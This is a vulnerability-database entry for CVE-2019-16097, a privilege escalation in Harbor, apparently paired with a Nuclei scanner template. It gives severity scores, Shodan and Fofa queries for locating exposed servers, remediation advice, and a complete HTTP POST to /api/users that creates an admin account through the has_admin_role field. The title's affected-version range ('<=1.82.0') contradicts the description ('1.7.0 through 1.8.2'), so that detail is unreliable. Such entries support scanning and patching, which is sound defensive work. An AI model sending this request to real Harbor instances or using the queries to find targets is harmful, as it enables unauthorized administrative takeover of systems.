| Title | Harbor <=1.82.0 - Privilege Escalation |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to escalate their privileges and gain unauthorized access to sensitive information. |
| Remediation | Upgrade to v1.7.6 v1.8.3. v.1.9.0 or higher. A potential workaround without applying the fix is to configure Harbor to use a non-DB authentication backend such as LDAP. |
| CVSS Score | 6.5 |
| EPSS Score | 0.93503 |
| CVE ID | CVE-2019-16097 |
| CWE ID | CWE-862 |
| Shodan Query | http.favicon.hash:657337228 |
| Fofa Query | icon_hash=657337228 |
| Tags | cve cve2019 intrusive harbor linuxfoundation vuln |
Harbor 1.7.0 through 1.8.2 is susceptible to privilege escalation via core/api/user.go, which allows allows non-admin users to create admin accounts via the POST /api/users API when Harbor is setup with DB as an authentication backend and allows user to do self-registration.
POST /api/users HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362
Connection: close
Content-Length: 124
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip
{"username": "testpoc", "has_admin_role": true, "password": "TestPoc!", "email": "testpoc@interact.sh", "realname": "poc"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-16097.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-16097.pcap
N/AN/A